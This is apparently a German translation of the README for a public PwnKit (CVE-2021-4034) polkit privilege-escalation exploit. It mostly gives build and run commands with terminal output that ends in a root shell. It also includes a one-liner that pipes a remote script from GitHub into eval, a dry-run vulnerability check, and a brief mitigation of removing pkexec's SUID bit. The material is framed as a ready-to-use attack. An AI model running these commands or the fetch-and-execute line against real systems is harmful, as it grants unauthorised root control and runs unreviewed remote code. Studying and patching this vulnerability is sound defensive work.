
Ein Tag für den Polkit-Privilegieneskalations-Exploit
Führen Sie einfach make, ./cve-2021-4034 aus und freuen Sie sich über Ihre Root-Shell.
Das ursprüngliche Advisory der eigentlichen Autoren finden Sie hier
Wenn der Exploit funktioniert, erhalten Sie sofort eine Root-Shell:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Ein Update von polkit patcht den Exploit auf den meisten Systemen. Daher erhalten Sie die Nutzungshinweise und das Programm beendet sich:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Um keine Shell auszuführen, sondern nur zu testen, ob das System verwundbar ist, kompilieren Sie das dry-run-Ziel.
Wenn das Programm endet und "root" ausgibt, bedeutet das, dass Ihr System für den Exploit verwundbar ist.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Wenn Ihr System nicht verwundbar ist, wird eine Fehlermeldung ausgegeben und das Programm beendet sich.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (ehemals PolicyKit) ist eine Komponente zur Steuerung systemweiter Privilegien in Unix-ähnlichen Betriebssystemen. Es bietet eine organisierte Möglichkeit für nicht privilegierte Prozesse, mit privilegierten Prozessen zu kommunizieren. Es ist auch möglich, mit polkit Befehle mit erhöhten Privilegien auszuführen, indem Sie den Befehl pkexec gefolgt von dem Befehl verwenden, der ausgeführt werden soll (mit Root-Berechtigung).
Sie können das System einfach mit einem einzigen Skript ausnutzen, das Sie mit diesem Befehl herunterladen und ausführen können:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Falls für Ihr Betriebssystem keine Patches verfügbar sind, können Sie als vorübergehende Gegenmaßnahme das SUID-Bit von pkexec entfernen.
# chmod 0755 /usr/bin/pkexec
Der Exploit wird dann fehlschlagen und melden, dass pkexec das Setuid-Bit gesetzt haben muss.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root